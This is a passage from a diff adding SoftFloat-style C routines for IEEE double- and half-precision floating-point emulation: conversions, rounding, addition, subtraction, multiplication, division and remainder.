the result of converting the double-precision floating-point value +| `a' to the 16-bit two's complement integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic, except that the conversion is always rounded toward zero. +| If `a' is a NaN, the largest positive integer is returned. Otherwise, if +| the conversion overflows, the largest integer with the same sign as `a' is +| returned. +*----------------------------------------------------------------------------*/ + +int_fast16_t float64_to_int16_round_to_zero(float64 a STATUS_PARAM) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint64_t aSig, savedASig; + int32 z; + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + if ( 0x40E < aExp ) { + if ( ( aExp == 0x7FF ) && aSig ) { + aSign = 0; + } + goto invalid; + } + else if ( aExp < 0x3FF ) { + if ( aExp || aSig ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + return 0; + } + aSig |= LIT64( 0x0010000000000000 ); + shiftCount = 0x433 - aExp; + savedASig = aSig; + aSig >>= shiftCount; + z = (int32)aSig; + if ( aSign ) { + z = - z; + } + if ( ( (int16_t)z < 0 ) ^ aSign ) { + invalid: + float_raise( float_flag_invalid STATUS_VAR); + return aSign ? (int32_t) 0xffff8000 : 0x7FFF; + } + if ( ( aSig<<shiftCount ) != savedASig ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + return z; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the double-precision floating-point value +| `a' to the 64-bit two's complement integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic---which means in particular that the conversion is rounded +| according to the current rounding mode. If `a' is a NaN, the largest +| positive integer is returned. Otherwise, if the conversion overflows, the +| largest integer with the same sign as `a' is returned. +*----------------------------------------------------------------------------*/ + +int64 float64_to_int64( float64 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint64_t aSig, aSigExtra; + a = float64_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + if ( aExp ) aSig |= LIT64( 0x0010000000000000 ); + shiftCount = 0x433 - aExp; + if ( shiftCount <= 0 ) { + if ( 0x43E < aExp ) { + float_raise( float_flag_invalid STATUS_VAR); + if ( ! aSign + || ( ( aExp == 0x7FF ) + && ( aSig != LIT64( 0x0010000000000000 ) ) ) + ) { + return LIT64( 0x7FFFFFFFFFFFFFFF ); + } + return (int64_t) LIT64( 0x8000000000000000 ); + } + aSigExtra = 0; + aSig <<= - shiftCount; + } + else { + shift64ExtraRightJamming( aSig, 0, shiftCount, &aSig, &aSigExtra ); + } + return roundAndPackInt64( aSign, aSig, aSigExtra STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the double-precision floating-point value +| `a' to the 64-bit two's complement integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic, except that the conversion is always rounded toward zero. +| If `a' is a NaN, the largest positive integer is returned. Otherwise, if +| the conversion overflows, the largest integer with the same sign as `a' is +| returned. +*----------------------------------------------------------------------------*/ + +int64 float64_to_int64_round_to_zero( float64 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint64_t aSig; + int64 z; + a = float64_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + if ( aExp ) aSig |= LIT64( 0x0010000000000000 ); + shiftCount = aExp - 0x433; + if ( 0 <= shiftCount ) { + if ( 0x43E <= aExp ) { + if ( float64_val(a) != LIT64( 0xC3E0000000000000 ) ) { + float_raise( float_flag_invalid STATUS_VAR); + if ( ! aSign + || ( ( aExp == 0x7FF ) + && ( aSig != LIT64( 0x0010000000000000 ) ) ) + ) { + return LIT64( 0x7FFFFFFFFFFFFFFF ); + } + } + return (int64_t) LIT64( 0x8000000000000000 ); + } + z = aSig<<shiftCount; + } + else { + if ( aExp < 0x3FE ) { + if ( aExp | aSig ) STATUS(float_exception_flags) |= float_flag_inexact; + return 0; + } + z = aSig>>( - shiftCount ); + if ( (uint64_t) ( aSig<<( shiftCount & 63 ) ) ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + } + if ( aSign ) z = - z; + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the double-precision floating-point value +| `a' to the single-precision floating-point format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 float64_to_float32( float64 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp; + uint64_t aSig; + uint32_t zSig; + a = float64_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + if ( aExp == 0x7FF ) { + if ( aSig ) return commonNaNToFloat32( float64ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + return packFloat32( aSign, 0xFF, 0 ); + } + shift64RightJamming( aSig, 22, &aSig ); + zSig = (uint32_t)aSig; + if ( aExp || zSig ) { + zSig |= 0x40000000; + aExp -= 0x381; + } + return roundAndPackFloat32( aSign, aExp, zSig STATUS_VAR ); + +} + + +/*---------------------------------------------------------------------------- +| Packs the sign `zSign', exponent `zExp', and significand `zSig' into a +| half-precision floating-point value, returning the result. After being +| shifted into the proper positions, the three fields are simply added +| together to form the result. This means that any integer portion of `zSig' +| will be added into the exponent. Since a properly normalized significand +| will have an integer portion equal to 1, the `zExp' input should be 1 less +| than the desired result exponent whenever `zSig' is a complete, normalized +| significand. +*----------------------------------------------------------------------------*/ +static float16 packFloat16(flag zSign, int_fast16_t zExp, uint16_t zSig) +{ + return make_float16( + (((uint32_t)zSign) << 15) + (((uint32_t)zExp) << 10) + zSig); +} + +/*---------------------------------------------------------------------------- +| Takes an abstract floating-point value having sign `zSign', exponent `zExp', +| and significand `zSig', and returns the proper half-precision floating- +| point value corresponding to the abstract input. Ordinarily, the abstract +| value is simply rounded and packed into the half-precision format, with +| the inexact exception raised if the abstract input cannot be represented +| exactly. However, if the abstract value is too large, the overflow and +| inexact exceptions are raised and an infinity or maximal finite value is +| returned. If the abstract value is too small, the input value is rounded to +| a subnormal number, and the underflow and inexact exceptions are raised if +| the abstract input cannot be represented exactly as a subnormal half- +| precision floating-point number. +| The `ieee' flag indicates whether to use IEEE standard half precision, or +| ARM-style "alternative representation", which omits the NaN and Inf +| encodings in order to raise the maximum representable exponent by one. +| The input significand `zSig' has its binary point between bits 22 +| and 23, which is 13 bits to the left of the usual location. This shifted +| significand must be normalized or smaller. If `zSig' is not normalized, +| `zExp' must be 0; in that case, the result returned is a subnormal number, +| and it must not require rounding. In the usual case that `zSig' is +| normalized, `zExp' must be 1 less than the ``true'' floating-point exponent. +| Note the slightly odd position of the binary point in zSig compared with the +| other roundAndPackFloat functions. This should probably be fixed if we +| need to implement more float16 routines than just conversion. +| The handling of underflow and overflow follows the IEC/IEEE Standard for +| Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static float32 roundAndPackFloat16(flag zSign, int_fast16_t zExp, + uint32_t zSig, flag ieee STATUS_PARAM) +{ + int maxexp = ieee ? 29 : 30; + uint32_t mask; + uint32_t increment; + bool rounding_bumps_exp; + bool is_tiny = false; + + /* Calculate the mask of bits of the mantissa which are not + * representable in half-precision and will be lost. + */ + if (zExp < 1) { + /* Will be denormal in halfprec */ + mask = 0x00ffffff; + if (zExp >= -11) { + mask >>= 11 + zExp; + } + } else { + /* Normal number in halfprec */ + mask = 0x00001fff; + } + + switch (STATUS(float_rounding_mode)) { + case float_round_nearest_even: + increment = (mask + 1) >> 1; + if ((zSig & mask) == increment) { + increment = zSig & (increment << 1); + } + break; + case float_round_ties_away: + increment = (mask + 1) >> 1; + break; + case float_round_up: + increment = zSign ? 0 : mask; + break; + case float_round_down: + increment = zSign ? mask : 0; + break; + default: /* round_to_zero */ + increment = 0; + break; + } + + rounding_bumps_exp = (zSig + increment >= 0x01000000); + + if (zExp > maxexp || (zExp == maxexp && rounding_bumps_exp)) { + if (ieee) { + float_raise(float_flag_overflow | float_flag_inexact STATUS_VAR); + return packFloat16(zSign, 0x1f, 0); + } else { + float_raise(float_flag_invalid STATUS_VAR); + return packFloat16(zSign, 0x1f, 0x3ff); + } + } + + if (zExp < 0) { + /* Note that flush-to-zero does not affect half-precision results */ + is_tiny = + (STATUS(float_detect_tininess) == float_tininess_before_rounding) + || (zExp < -1) + || (!rounding_bumps_exp); + } + if (zSig & mask) { + float_raise(float_flag_inexact STATUS_VAR); + if (is_tiny) { + float_raise(float_flag_underflow STATUS_VAR); + } + } + + zSig += increment; + if (rounding_bumps_exp) { + zSig >>= 1; + zExp++; + } + + if (zExp < -10) { + return packFloat16(zSign, 0, 0); + } + if (zExp < 0) { + zSig >>= -zExp; + zExp = 0; + } + return packFloat16(zSign, zExp, zSig >> 13); +} + +static void normalizeFloat16Subnormal(uint32_t aSig, int_fast16_t *zExpPtr, + uint32_t *zSigPtr) +{ + int8_t shiftCount = countLeadingZeros32(aSig) - 21; + *zSigPtr = aSig << shiftCount; + *zExpPtr = 1 - shiftCount; +} + +/* Half precision floats come in two formats: standard IEEE and "ARM" format. + The latter gains extra exponent range by omitting the NaN/Inf encodings. */ + +float32 float16_to_float32(float16 a, flag ieee STATUS_PARAM) +{ + flag aSign; + int_fast16_t aExp; + uint32_t aSig; + + aSign = extractFloat16Sign(a); + aExp = extractFloat16Exp(a); + aSig = extractFloat16Frac(a); + + if (aExp == 0x1f && ieee) { + if (aSig) { + return commonNaNToFloat32(float16ToCommonNaN(a STATUS_VAR) STATUS_VAR); + } + return packFloat32(aSign, 0xff, 0); + } + if (aExp == 0) { + if (aSig == 0) { + return packFloat32(aSign, 0, 0); + } + + normalizeFloat16Subnormal(aSig, &aExp, &aSig); + aExp--; + } + return packFloat32( aSign, aExp + 0x70, aSig << 13); +} + +float16 float32_to_float16(float32 a, flag ieee STATUS_PARAM) +{ + flag aSign; + int_fast16_t aExp; + uint32_t aSig; + + a = float32_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + if ( aExp == 0xFF ) { + if (aSig) { + /* Input is a NaN */ + if (!ieee) { + float_raise(float_flag_invalid STATUS_VAR); + return packFloat16(aSign, 0, 0); + } + return commonNaNToFloat16( + float32ToCommonNaN(a STATUS_VAR) STATUS_VAR); + } + /* Infinity */ + if (!ieee) { + float_raise(float_flag_invalid STATUS_VAR); + return packFloat16(aSign, 0x1f, 0x3ff); + } + return packFloat16(aSign, 0x1f, 0); + } + if (aExp == 0 && aSig == 0) { + return packFloat16(aSign, 0, 0); + } + /* Decimal point between bits 22 and 23. Note that we add the 1 bit + * even if the input is denormal; however this is harmless because + * the largest possible single-precision denormal is still smaller + * than the smallest representable half-precision denormal, and so we + * will end up ignoring aSig and returning via the "always return zero" + * codepath. + */ + aSig |= 0x00800000; + aExp -= 0x71; + + return roundAndPackFloat16(aSign, aExp, aSig, ieee STATUS_VAR); +} + +float64 float16_to_float64(float16 a, flag ieee STATUS_PARAM) +{ + flag aSign; + int_fast16_t aExp; + uint32_t aSig; + + aSign = extractFloat16Sign(a); + aExp = extractFloat16Exp(a); + aSig = extractFloat16Frac(a); + + if (aExp == 0x1f && ieee) { + if (aSig) { + return commonNaNToFloat64( + float16ToCommonNaN(a STATUS_VAR) STATUS_VAR); + } + return packFloat64(aSign, 0x7ff, 0); + } + if (aExp == 0) { + if (aSig == 0) { + return packFloat64(aSign, 0, 0); + } + + normalizeFloat16Subnormal(aSig, &aExp, &aSig); + aExp--; + } + return packFloat64(aSign, aExp + 0x3f0, ((uint64_t)aSig) << 42); +} + +float16 float64_to_float16(float64 a, flag ieee STATUS_PARAM) +{ + flag aSign; + int_fast16_t aExp; + uint64_t aSig; + uint32_t zSig; + + a = float64_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat64Frac(a); + aExp = extractFloat64Exp(a); + aSign = extractFloat64Sign(a); + if (aExp == 0x7FF) { + if (aSig) { + /* Input is a NaN */ + if (!ieee) { + float_raise(float_flag_invalid STATUS_VAR); + return packFloat16(aSign, 0, 0); + } + return commonNaNToFloat16( + float64ToCommonNaN(a STATUS_VAR) STATUS_VAR); + } + /* Infinity */ + if (!ieee) { + float_raise(float_flag_invalid STATUS_VAR); + return packFloat16(aSign, 0x1f, 0x3ff); + } + return packFloat16(aSign, 0x1f, 0); + } + shift64RightJamming(aSig, 29, &aSig); + zSig = (uint32_t)aSig; + if (aExp == 0 && zSig == 0) { + return packFloat16(aSign, 0, 0); + } + /* Decimal point between bits 22 and 23. Note that we add the 1 bit + * even if the input is denormal; however this is harmless because + * the largest possible single-precision denormal is still smaller + * than the smallest representable half-precision denormal, and so we + * will end up ignoring aSig and returning via the "always return zero" + * codepath. + */ + zSig |= 0x00800000; + aExp -= 0x3F1; + + return roundAndPackFloat16(aSign, aExp, zSig, ieee STATUS_VAR); +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the double-precision floating-point value +| `a' to the extended double-precision floating-point format. The conversion +| is performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 float64_to_floatx80( float64 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp; + uint64_t aSig; + + a = float64_squash_input_denormal(a STATUS_VAR); + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + if ( aExp == 0x7FF ) { + if ( aSig ) return commonNaNToFloatx80( float64ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + return packFloatx80( aSign, 0x7FFF, LIT64( 0x8000000000000000 ) ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloatx80( aSign, 0, 0 ); + normalizeFloat64Subnormal( aSig, &aExp, &aSig ); + } + return + packFloatx80( + aSign, aExp + 0x3C00, ( aSig | LIT64( 0x0010000000000000 ) )<<11 ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the double-precision floating-point value +| `a' to the quadruple-precision floating-point format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 float64_to_float128( float64 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp; + uint64_t aSig, zSig0, zSig1; + + a = float64_squash_input_denormal(a STATUS_VAR); + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + if ( aExp == 0x7FF ) { + if ( aSig ) return commonNaNToFloat128( float64ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + return packFloat128( aSign, 0x7FFF, 0, 0 ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloat128( aSign, 0, 0, 0 ); + normalizeFloat64Subnormal( aSig, &aExp, &aSig ); + --aExp; + } + shift128Right( aSig, 0, 4, &zSig0, &zSig1 ); + return packFloat128( aSign, aExp + 0x3C00, zSig0, zSig1 ); + +} + +/*---------------------------------------------------------------------------- +| Rounds the double-precision floating-point value `a' to an integer, and +| returns the result as a double-precision floating-point value. The +| operation is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 float64_round_to_int( float64 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp; + uint64_t lastBitMask, roundBitsMask; + uint64_t z; + a = float64_squash_input_denormal(a STATUS_VAR); + + aExp = extractFloat64Exp( a ); + if ( 0x433 <= aExp ) { + if ( ( aExp == 0x7FF ) && extractFloat64Frac( a ) ) { + return propagateFloat64NaN( a, a STATUS_VAR ); + } + return a; + } + if ( aExp < 0x3FF ) { + if ( (uint64_t) ( float64_val(a)<<1 ) == 0 ) return a; + STATUS(float_exception_flags) |= float_flag_inexact; + aSign = extractFloat64Sign( a ); + switch ( STATUS(float_rounding_mode) ) { + case float_round_nearest_even: + if ( ( aExp == 0x3FE ) && extractFloat64Frac( a ) ) { + return packFloat64( aSign, 0x3FF, 0 ); + } + break; + case float_round_ties_away: + if (aExp == 0x3FE) { + return packFloat64(aSign, 0x3ff, 0); + } + break; + case float_round_down: + return make_float64(aSign ? LIT64( 0xBFF0000000000000 ) : 0); + case float_round_up: + return make_float64( + aSign ? LIT64( 0x8000000000000000 ) : LIT64( 0x3FF0000000000000 )); + } + return packFloat64( aSign, 0, 0 ); + } + lastBitMask = 1; + lastBitMask <<= 0x433 - aExp; + roundBitsMask = lastBitMask - 1; + z = float64_val(a); + switch (STATUS(float_rounding_mode)) { + case float_round_nearest_even: + z += lastBitMask >> 1; + if ((z & roundBitsMask) == 0) { + z &= ~lastBitMask; + } + break; + case float_round_ties_away: + z += lastBitMask >> 1; + break; + case float_round_to_zero: + break; + case float_round_up: + if (!extractFloat64Sign(make_float64(z))) { + z += roundBitsMask; + } + break; + case float_round_down: + if (extractFloat64Sign(make_float64(z))) { + z += roundBitsMask; + } + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + z &= ~ roundBitsMask; + if ( z != float64_val(a) ) + STATUS(float_exception_flags) |= float_flag_inexact; + return make_float64(z); + +} + +float64 float64_trunc_to_int( float64 a STATUS_PARAM) +{ + int oldmode; + float64 res; + oldmode = STATUS(float_rounding_mode); + STATUS(float_rounding_mode) = float_round_to_zero; + res = float64_round_to_int(a STATUS_VAR); + STATUS(float_rounding_mode) = oldmode; + return res; +} + +/*---------------------------------------------------------------------------- +| Returns the result of adding the absolute values of the double-precision +| floating-point values `a' and `b'. If `zSign' is 1, the sum is negated +| before being returned. `zSign' is ignored if the result is a NaN. +| The addition is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static float64 addFloat64Sigs( float64 a, float64 b, flag zSign STATUS_PARAM ) +{ + int_fast16_t aExp, bExp, zExp; + uint64_t aSig, bSig, zSig; + int_fast16_t expDiff; + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + bSig = extractFloat64Frac( b ); + bExp = extractFloat64Exp( b ); + expDiff = aExp - bExp; + aSig <<= 9; + bSig <<= 9; + if ( 0 < expDiff ) { + if ( aExp == 0x7FF ) { + if ( aSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) { + --expDiff; + } + else { + bSig |= LIT64( 0x2000000000000000 ); + } + shift64RightJamming( bSig, expDiff, &bSig ); + zExp = aExp; + } + else if ( expDiff < 0 ) { + if ( bExp == 0x7FF ) { + if ( bSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + return packFloat64( zSign, 0x7FF, 0 ); + } + if ( aExp == 0 ) { + ++expDiff; + } + else { + aSig |= LIT64( 0x2000000000000000 ); + } + shift64RightJamming( aSig, - expDiff, &aSig ); + zExp = bExp; + } + else { + if ( aExp == 0x7FF ) { + if ( aSig | bSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + return a; + } + if ( aExp == 0 ) { + if (STATUS(flush_to_zero)) { + if (aSig | bSig) { + float_raise(float_flag_output_denormal STATUS_VAR); + } + return packFloat64(zSign, 0, 0); + } + return packFloat64( zSign, 0, ( aSig + bSig )>>9 ); + } + zSig = LIT64( 0x4000000000000000 ) + aSig + bSig; + zExp = aExp; + goto roundAndPack; + } + aSig |= LIT64( 0x2000000000000000 ); + zSig = ( aSig + bSig )<<1; + --zExp; + if ( (int64_t) zSig < 0 ) { + zSig = aSig + bSig; + ++zExp; + } + roundAndPack: + return roundAndPackFloat64( zSign, zExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of subtracting the absolute values of the double- +| precision floating-point values `a' and `b'. If `zSign' is 1, the +| difference is negated before being returned. `zSign' is ignored if the +| result is a NaN. The subtraction is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static float64 subFloat64Sigs( float64 a, float64 b, flag zSign STATUS_PARAM ) +{ + int_fast16_t aExp, bExp, zExp; + uint64_t aSig, bSig, zSig; + int_fast16_t expDiff; + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + bSig = extractFloat64Frac( b ); + bExp = extractFloat64Exp( b ); + expDiff = aExp - bExp; + aSig <<= 10; + bSig <<= 10; + if ( 0 < expDiff ) goto aExpBigger; + if ( expDiff < 0 ) goto bExpBigger; + if ( aExp == 0x7FF ) { + if ( aSig | bSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + float_raise( float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + if ( aExp == 0 ) { + aExp = 1; + bExp = 1; + } + if ( bSig < aSig ) goto aBigger; + if ( aSig < bSig ) goto bBigger; + return packFloat64( STATUS(float_rounding_mode) == float_round_down, 0, 0 ); + bExpBigger: + if ( bExp == 0x7FF ) { + if ( bSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + return packFloat64( zSign ^ 1, 0x7FF, 0 ); + } + if ( aExp == 0 ) { + ++expDiff; + } + else { + aSig |= LIT64( 0x4000000000000000 ); + } + shift64RightJamming( aSig, - expDiff, &aSig ); + bSig |= LIT64( 0x4000000000000000 ); + bBigger: + zSig = bSig - aSig; + zExp = bExp; + zSign ^= 1; + goto normalizeRoundAndPack; + aExpBigger: + if ( aExp == 0x7FF ) { + if ( aSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) { + --expDiff; + } + else { + bSig |= LIT64( 0x4000000000000000 ); + } + shift64RightJamming( bSig, expDiff, &bSig ); + aSig |= LIT64( 0x4000000000000000 ); + aBigger: + zSig = aSig - bSig; + zExp = aExp; + normalizeRoundAndPack: + --zExp; + return normalizeRoundAndPackFloat64( zSign, zExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of adding the double-precision floating-point values `a' +| and `b'. The operation is performed according to the IEC/IEEE Standard for +| Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 float64_add( float64 a, float64 b STATUS_PARAM ) +{ + flag aSign, bSign; + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + aSign = extractFloat64Sign( a ); + bSign = extractFloat64Sign( b ); + if ( aSign == bSign ) { + return addFloat64Sigs( a, b, aSign STATUS_VAR ); + } + else { + return subFloat64Sigs( a, b, aSign STATUS_VAR ); + } + +} + +/*---------------------------------------------------------------------------- +| Returns the result of subtracting the double-precision floating-point values +| `a' and `b'. The operation is performed according to the IEC/IEEE Standard +| for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 float64_sub( float64 a, float64 b STATUS_PARAM ) +{ + flag aSign, bSign; + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + aSign = extractFloat64Sign( a ); + bSign = extractFloat64Sign( b ); + if ( aSign == bSign ) { + return subFloat64Sigs( a, b, aSign STATUS_VAR ); + } + else { + return addFloat64Sigs( a, b, aSign STATUS_VAR ); + } + +} + +/*---------------------------------------------------------------------------- +| Returns the result of multiplying the double-precision floating-point values +| `a' and `b'. The operation is performed according to the IEC/IEEE Standard +| for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 float64_mul( float64 a, float64 b STATUS_PARAM ) +{ + flag aSign, bSign, zSign; + int_fast16_t aExp, bExp, zExp; + uint64_t aSig, bSig, zSig0, zSig1; + + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + bSig = extractFloat64Frac( b ); + bExp = extractFloat64Exp( b ); + bSign = extractFloat64Sign( b ); + zSign = aSign ^ bSign; + if ( aExp == 0x7FF ) { + if ( aSig || ( ( bExp == 0x7FF ) && bSig ) ) { + return propagateFloat64NaN( a, b STATUS_VAR ); + } + if ( ( bExp | bSig ) == 0 ) { + float_raise( float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + return packFloat64( zSign, 0x7FF, 0 ); + } + if ( bExp == 0x7FF ) { + if ( bSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + if ( ( aExp | aSig ) == 0 ) { + float_raise( float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + return packFloat64( zSign, 0x7FF, 0 ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloat64( zSign, 0, 0 ); + normalizeFloat64Subnormal( aSig, &aExp, &aSig ); + } + if ( bExp == 0 ) { + if ( bSig == 0 ) return packFloat64( zSign, 0, 0 ); + normalizeFloat64Subnormal( bSig, &bExp, &bSig ); + } + zExp = aExp + bExp - 0x3FF; + aSig = ( aSig | LIT64( 0x0010000000000000 ) )<<10; + bSig = ( bSig | LIT64( 0x0010000000000000 ) )<<11; + mul64To128( aSig, bSig, &zSig0, &zSig1 ); + zSig0 |= ( zSig1 != 0 ); + if ( 0 <= (int64_t) ( zSig0<<1 ) ) { + zSig0 <<= 1; + --zExp; + } + return roundAndPackFloat64( zSign, zExp, zSig0 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of dividing the double-precision floating-point value `a' +| by the corresponding value `b'. The operation is performed according to +| the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 float64_div( float64 a, float64 b STATUS_PARAM ) +{ + flag aSign, bSign, zSign; + int_fast16_t aExp, bExp, zExp; + uint64_t aSig, bSig, zSig; + uint64_t rem0, rem1; + uint64_t term0, term1; + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + bSig = extractFloat64Frac( b ); + bExp = extractFloat64Exp( b ); + bSign = extractFloat64Sign( b ); + zSign = aSign ^ bSign; + if ( aExp == 0x7FF ) { + if ( aSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + if ( bExp == 0x7FF ) { + if ( bSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + float_raise( float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + return packFloat64( zSign, 0x7FF, 0 ); + } + if ( bExp == 0x7FF ) { + if ( bSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + return packFloat64( zSign, 0, 0 ); + } + if ( bExp == 0 ) { + if ( bSig == 0 ) { + if ( ( aExp | aSig ) == 0 ) { + float_raise( float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + float_raise( float_flag_divbyzero STATUS_VAR); + return packFloat64( zSign, 0x7FF, 0 ); + } + normalizeFloat64Subnormal( bSig, &bExp, &bSig ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloat64( zSign, 0, 0 ); + normalizeFloat64Subnormal( aSig, &aExp, &aSig ); + } + zExp = aExp - bExp + 0x3FD; + aSig = ( aSig | LIT64( 0x0010000000000000 ) )<<10; + bSig = ( bSig | LIT64( 0x0010000000000000 ) )<<11; + if ( bSig <= ( aSig + aSig ) ) { + aSig >>= 1; + ++zExp; + } + zSig = estimateDiv128To64( aSig, 0, bSig ); + if ( ( zSig & 0x1FF ) <= 2 ) { + mul64To128( bSig, zSig, &term0, &term1 ); + sub128( aSig, 0, term0, term1, &rem0, &rem1 ); + while ( (int64_t) rem0 < 0 ) { + --zSig; + add128( rem0, rem1, 0, bSig, &rem0, &rem1 ); + } + zSig |= ( rem1 != 0 ); + } + return roundAndPackFloat64( zSign, zExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the remainder of the double-precision floating-point value `a' +| with respect to the corresponding value `b'. The operation is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 float64_rem( float64 a, float64 b STATUS_PARAM ) +{ + flag aSign, zSign; + int_fast16_t aExp, bExp, expDiff; + uint64_t aSig, bSig; + uint64_t q, alternateASig; + int64_t sigMean; + + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + bSig = extractFloat64Frac( b ); + bExp = extractFloat64Exp( b ); + if ( aExp == 0x7FF ) { + if ( aSig || ( ( bExp == 0x7FF ) && bSig ) ) { + return propagateFloat64NaN( a, b STATUS_VAR ); + } + float_raise( float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + if ( bExp == 0x7FF ) { + if ( bSig ) return propagateFloat64NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) { + if ( bSig == 0 ) { + float_raise( float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + normalizeFloat64Subnormal( bSig, &bExp, &bSig ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return a; + normalizeFloat64Subnormal( aSig, &aExp, &aSig ); + } + expDiff = aExp - bExp; + aSig = ( aSig | LIT64( 0x0010000000000000 ) )<<11; + bSig = ( bSig | LIT64( 0x0010000000000000 ) )<<11; + if ( expDiff < 0 ) { + if ( expDiff < -1 ) return a; + aSig >>= 1; + } + q = ( bSig <= aSig ); + if ( q ) aSig -= bSig; + expDiff -= 64; + while ( 0 < expDiff ) { + q = estimateDiv128To64( aSig, 0, bSig ); + q = ( 2 < q ) ? q - 2 : 0; + aSig = 0- ( ( bSig>>2 ) * q ); + expDiff -= 62; + } + expDiff += 64; + if ( 0 < expDiff ) { + q = estimateDiv128To64( aSig, 0, bSig ); + q = ( 2 < q ) ? q - 2 : 0; + q >>= 64 - expDiff; + bSig >>= 2; + aSig = ( ( aSig>>1 